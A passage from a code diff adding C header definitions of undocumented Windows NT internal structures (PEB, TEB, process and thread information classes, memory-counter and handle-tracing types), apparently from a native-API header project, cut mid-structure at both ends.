ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ProcessImagesHotPatched : 1; // REDSTONE5 + ULONG ReservedBits0 : 24; + }; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved; + ULONG AtlThunkSListPtr32; + PAPI_SET_NAMESPACE ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; // HotpatchInformation + PVOID* ReadOnlyStaticServerData; + + PVOID AnsiCodePageData; // PCPTABLEINFO + PVOID OemCodePageData; // PCPTABLEINFO + PVOID UnicodeCaseTableData; // PNLSTABLEINFO + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + ULARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID* ProcessHeaps; // PHEAP + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ActiveProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + + SIZE_T MinimumStackCommit; + + PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex) + ULONG SpareUlongs[5]; // 19H1 + //PVOID* FlsCallback; + //LIST_ENTRY FlsListHead; + //PVOID FlsBitmap; + //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + //ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + + union + { + PVOID pContextData; // WIN7 + PVOID pUnused; // WIN10 + PVOID EcCodeBitMap; // WIN11 + }; + + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + PRTL_CRITICAL_SECTION TppWorkerpListLock; + LIST_ENTRY TppWorkerpList; + PVOID WaitOnAddressHashTable[128]; + PVOID TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; + ULONG CloudFileDiagFlags; // REDSTONE4 + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderCompatibilityModeReserved[7]; + struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 + union + { + ULONG LeapSecondFlags; + struct + { + ULONG SixtySecondEnabled : 1; + ULONG Reserved : 31; + }; + }; + ULONG NtGlobalFlag2; +} PEB, * PPEB; + +#ifdef _WIN64 +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x2C0); +//C_ASSERT(sizeof(PEB) == 0x7B0); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x7B8); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x7C8); // REDSTONE5 // 19H1 +#else +C_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x1D4); +//C_ASSERT(sizeof(PEB) == 0x468); // REDSTONE3 +//C_ASSERT(sizeof(PEB) == 0x470); // REDSTONE4 +C_ASSERT(sizeof(PEB) == 0x480); // REDSTONE5 // 19H1 +#endif + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID ReservedForDebuggerInstrumentation[16]; +#ifdef _WIN64 + PVOID SystemReserved1[30]; +#else + PVOID SystemReserved1[26]; +#endif + + CHAR PlaceholderCompatibilityMode; + BOOLEAN PlaceholderHydrationAlwaysExplicit; + CHAR PlaceholderReserved[10]; + + ULONG ProxiedProcessId; + ACTIVATION_CONTEXT_STACK ActivationStack; + + UCHAR WorkingOnBehalfTicket[8]; + NTSTATUS ExceptionCode; + + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + ULONG_PTR InstrumentationCallbackSp; + ULONG_PTR InstrumentationCallbackPreviousPc; + ULONG_PTR InstrumentationCallbackPreviousSp; +#ifdef _WIN64 + ULONG TxFsContext; +#endif + + BOOLEAN InstrumentationCallbackDisabled; +#ifdef _WIN64 + BOOLEAN UnalignedLoadStoreExceptions; +#endif +#ifndef _WIN64 + UCHAR SpareBytes[23]; + ULONG TxFsContext; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _WIN64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID PerflibData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR ReservedForCodeCoverage; + PVOID ThreadPoolData; + PVOID* TlsExpansionSlots; +#ifdef _WIN64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapData; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT LoadOwner : 1; + USHORT LoaderWorker : 1; + USHORT SkipLoaderInit : 1; + USHORT SkipFileAPIBrokering : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + LONG WowTebOffset; + PVOID ResourceRetValue; + PVOID ReservedForWdf; + ULONGLONG ReservedForCrt; + GUID EffectiveContainerId; + ULONGLONG LastSleepCounter; // Win11 + ULONG SpinCallCount; + ULONGLONG ExtendedFeatureDisableMask; +} TEB, * PTEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, * PWOW64_PROCESS; + +#ifndef _KERNEL_MODE +// +// Process Information Classes +// +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege) + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed) + ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // q: HANDLE // 30 + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: IO_PRIORITY_HINT + ProcessExecuteFlags, // qs: ULONG + ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION + ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation + ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // q: ULONG[] // since WINBLUE + ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG) + ProcessCommandLineInformation, // q: UNICODE_STRING // 60 + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, + ProcessAllowedCpuSetsInformation, + ProcessSubsystemProcess, + ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO + ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70 + ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables + ProcessIumChallengeResponse, + ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION + ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege) + ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES + ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE + ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY + ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER + ProcessDisableSystemAllowedCpuSets, // 80 + ProcessWakeInformation, // PROCESS_WAKE_INFORMATION + ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE + ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ProcessCaptureTrustletLiveDump, + ProcessTelemetryCoverage, + ProcessEnclaveInformation, + ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION + ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION + ProcessImageSection, // q: HANDLE + ProcessDebugAuthInformation, // since REDSTONE4 // 90 + ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT + ProcessSequenceNumber, // q: ULONGLONG + ProcessLoaderDetour, // since REDSTONE5 + ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION + ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION + ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION + ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION + ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 + ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION + ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100 + ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION + ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2 + ProcessCreateStateChange, // since WIN11 + ProcessApplyStateChange, + ProcessEnableOptionalXStateFeatures, + ProcessAltPrefetchParam, // since 22H1 + ProcessAssignCpuPartitions, + ProcessPriorityClassEx, + ProcessMembershipInformation, + ProcessEffectiveIoPriority, + ProcessEffectivePagePriority, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS +{ + ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION + ThreadTimes, // q: KERNEL_USER_TIMES + ThreadPriority, // s: KPRIORITY (requires SeIncreaseBasePriorityPrivilege) + ThreadBasePriority, // s: LONG + ThreadAffinityMask, // s: KAFFINITY + ThreadImpersonationToken, // s: HANDLE + ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY) + ThreadEnableAlignmentFaultFixup, // s: BOOLEAN + ThreadEventPair, + ThreadQuerySetWin32StartAddress, // q: ULONG_PTR + ThreadZeroTlsCell, // s: ULONG // TlsIndex // 10 + ThreadPerformanceCount, // q: LARGE_INTEGER + ThreadAmILastThread, // q: ULONG + ThreadIdealProcessor, // s: ULONG + ThreadPriorityBoost, // qs: ULONG + ThreadSetTlsArrayAddress, // s: ULONG_PTR + ThreadIsIoPending, // q: ULONG + ThreadHideFromDebugger, // q: BOOLEAN; s: void + ThreadBreakOnTermination, // qs: ULONG + ThreadSwitchLegacyState, // s: void // NtCurrentThread // NPX/FPU + ThreadIsTerminated, // q: ULONG // 20 + ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION + ThreadIoPriority, // qs: IO_PRIORITY_HINT (requires SeIncreaseBasePriorityPrivilege) + ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION + ThreadPagePriority, // q: ULONG + ThreadActualBasePriority, // s: LONG (requires SeIncreaseBasePriorityPrivilege) + ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT) + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, // qs: WOW64_CONTEXT + ThreadGroupInformation, // q: GROUP_AFFINITY // 30 + ThreadUmsInformation, // q: THREAD_UMS_INFORMATION + ThreadCounterProfiling, // q: BOOLEAN; s: THREAD_PROFILING_INFORMATION? + ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER + ThreadCpuAccountingInformation, // q: BOOLEAN; s: HANDLE (NtOpenSession) // NtCurrentThread // since WIN8 + ThreadSuspendCount, // q: ULONG // since WINBLUE + ThreadHeterogeneousCpuPolicy, // q: KHETERO_CPU_POLICY // since THRESHOLD + ThreadContainerId, // q: GUID + ThreadNameInformation, // qs: THREAD_NAME_INFORMATION + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, // q: SYSTEM_THREAD_INFORMATION // 40 + ThreadActualGroupAffinity, // q: GROUP_AFFINITY // since THRESHOLD2 + ThreadDynamicCodePolicyInfo, // q: ULONG; s: ULONG (NtCurrentThread) + ThreadExplicitCaseSensitivity, // qs: ULONG; s: 0 disables, otherwise enables + ThreadWorkOnBehalfTicket, // RTL_WORK_ON_BEHALF_TICKET_EX + ThreadSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ThreadDbgkWerReportActive, // s: ULONG; s: 0 disables, otherwise enables + ThreadAttachContainer, // s: HANDLE (job object) // NtCurrentThread + ThreadManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ThreadPowerThrottlingState, // POWER_THROTTLING_THREAD_STATE + ThreadWorkloadClass, // THREAD_WORKLOAD_CLASS // since REDSTONE5 // 50 + ThreadCreateStateChange, // since WIN11 + ThreadApplyStateChange, + ThreadStrongerBadHandleChecks, // since 22H1 + ThreadEffectiveIoPriority, + ThreadEffectivePagePriority, + MaxThreadInfoClass +} THREADINFOCLASS; +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +// Use with both ProcessPagePriority and ThreadPagePriority +typedef struct _PAGE_PRIORITY_INFORMATION +{ + ULONG PagePriority; +} PAGE_PRIORITY_INFORMATION, * PPAGE_PRIORITY_INFORMATION; + +// +// Process information structures +// + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // set to sizeof structure on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG IsSecureProcess : 1; + ULONG IsSubsystemProcess : 1; + ULONG SpareBits : 23; + }; + }; +} PROCESS_EXTENDED_BASIC_INFORMATION, * PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _VM_COUNTERS +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; +} VM_COUNTERS, * PVM_COUNTERS; + +typedef struct _VM_COUNTERS_EX +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivateUsage; +} VM_COUNTERS_EX, * PVM_COUNTERS_EX; + +// private +typedef struct _VM_COUNTERS_EX2 +{ + VM_COUNTERS_EX CountersEx; + SIZE_T PrivateWorkingSetSize; + SIZE_T SharedCommitUsage; +} VM_COUNTERS_EX2, * PVM_COUNTERS_EX2; + +typedef struct _KERNEL_USER_TIMES +{ + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES, * PKERNEL_USER_TIMES; + +typedef struct _POOLED_USAGE_AND_LIMITS +{ + SIZE_T PeakPagedPoolUsage; + SIZE_T PagedPoolUsage; + SIZE_T PagedPoolLimit; + SIZE_T PeakNonPagedPoolUsage; + SIZE_T NonPagedPoolUsage; + SIZE_T NonPagedPoolLimit; + SIZE_T PeakPagefileUsage; + SIZE_T PagefileUsage; + SIZE_T PagefileLimit; +} POOLED_USAGE_AND_LIMITS, * PPOOLED_USAGE_AND_LIMITS; + +#define PROCESS_EXCEPTION_PORT_ALL_STATE_BITS 0x00000003 +#define PROCESS_EXCEPTION_PORT_ALL_STATE_FLAGS ((ULONG_PTR)((1UL << PROCESS_EXCEPTION_PORT_ALL_STATE_BITS) - 1)) + +typedef struct _PROCESS_EXCEPTION_PORT +{ + _In_ HANDLE ExceptionPortHandle; // Handle to the exception port. No particular access required. + _Inout_ ULONG StateFlags; // Miscellaneous state flags to be cached along with the exception port in the kernel. +} PROCESS_EXCEPTION_PORT, * PPROCESS_EXCEPTION_PORT; + +typedef struct _PROCESS_ACCESS_TOKEN +{ + HANDLE Token; // needs TOKEN_ASSIGN_PRIMARY access + HANDLE Thread; // handle to initial/only thread; needs THREAD_QUERY_INFORMATION access +} PROCESS_ACCESS_TOKEN, * PPROCESS_ACCESS_TOKEN; +#endif // !_KERNEL_MODE + +#ifndef _LDT_ENTRY_DEFINED +#define _LDT_ENTRY_DEFINED +typedef struct _LDT_ENTRY +{ + USHORT LimitLow; + USHORT BaseLow; + union + { + struct + { + UINT8 BaseMid; + UINT8 Flags1; // Declare as bytes to avoid alignment + UINT8 Flags2; // Problems. + UINT8 BaseHi; + } Bytes; + + struct + { + UINT32 BaseMid : 8; + UINT32 Type : 5; + UINT32 Dpl : 2; + UINT32 Pres : 1; + UINT32 LimitHi : 4; + UINT32 Sys : 1; + UINT32 Reserved_0 : 1; + UINT32 Default_Big : 1; + UINT32 Granularity : 1; + UINT32 BaseHi : 8; + } Bits; + + } HighWord; +} LDT_ENTRY, * PLDT_ENTRY; +#endif + +typedef struct _PROCESS_LDT_INFORMATION +{ + ULONG Start; + ULONG Length; + LDT_ENTRY LdtEntries[1]; +} PROCESS_LDT_INFORMATION, * PPROCESS_LDT_INFORMATION; + +typedef struct _PROCESS_LDT_SIZE +{ + ULONG Length; +} PROCESS_LDT_SIZE, * PPROCESS_LDT_SIZE; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_WS_WATCH_INFORMATION +{ + PVOID FaultingPc; + PVOID FaultingVa; +} PROCESS_WS_WATCH_INFORMATION, * PPROCESS_WS_WATCH_INFORMATION; +#endif // !_KERNEL_MODE + +// psapi:PSAPI_WS_WATCH_INFORMATION_EX +typedef struct _PROCESS_WS_WATCH_INFORMATION_EX +{ + PROCESS_WS_WATCH_INFORMATION BasicInfo; + ULONG_PTR FaultingThreadId; + ULONG_PTR Flags; +} PROCESS_WS_WATCH_INFORMATION_EX, * PPROCESS_WS_WATCH_INFORMATION_EX; + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS +{ + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, * PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND +{ + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, * PPROCESS_FOREGROUND_BACKGROUND; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_DEVICEMAP_INFORMATION +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, * PPROCESS_DEVICEMAP_INFORMATION; + +#define PROCESS_LUID_DOSDEVICES_ONLY 0x00000001 + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; + ULONG Flags; // PROCESS_LUID_DOSDEVICES_ONLY +} PROCESS_DEVICEMAP_INFORMATION_EX, * PPROCESS_DEVICEMAP_INFORMATION_EX; + +typedef struct _PROCESS_SESSION_INFORMATION +{ + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, * PPROCESS_SESSION_INFORMATION; + +#define PROCESS_HANDLE_EXCEPTIONS_ENABLED 0x00000001 + +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_DISABLED 0x00000000 +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_ENABLED 0x00000001 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE +{ + ULONG Flags; +} PROCESS_HANDLE_TRACING_ENABLE, * PPROCESS_HANDLE_TRACING_ENABLE; + +#define PROCESS_HANDLE_TRACING_MAX_SLOTS 0x20000 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX +{ + ULONG Flags; + ULONG TotalSlots; +} PROCESS_HANDLE_TRACING_ENABLE_EX, * PPROCESS_HANDLE_TRACING_ENABLE_EX; + +#define PROCESS_HANDLE_TRACING_MAX_STACKS 16 + +#define PROCESS_HANDLE_TRACE_TYPE_OPEN 1 +#define PROCESS_HANDLE_TRACE_TYPE_CLOSE 2 +#define PROCESS_HANDLE_TRACE_TYPE_BADREF 3 + +typedef struct _PROCESS_HANDLE_TRACING_ENTRY +{ + HANDLE Handle; + CLIENT_ID ClientId; + ULONG Type; + PVOID Stacks[PROCESS_HANDLE_TRACING_MAX_STACKS]; +} PROCESS_HANDLE_TRACING_ENTRY, * 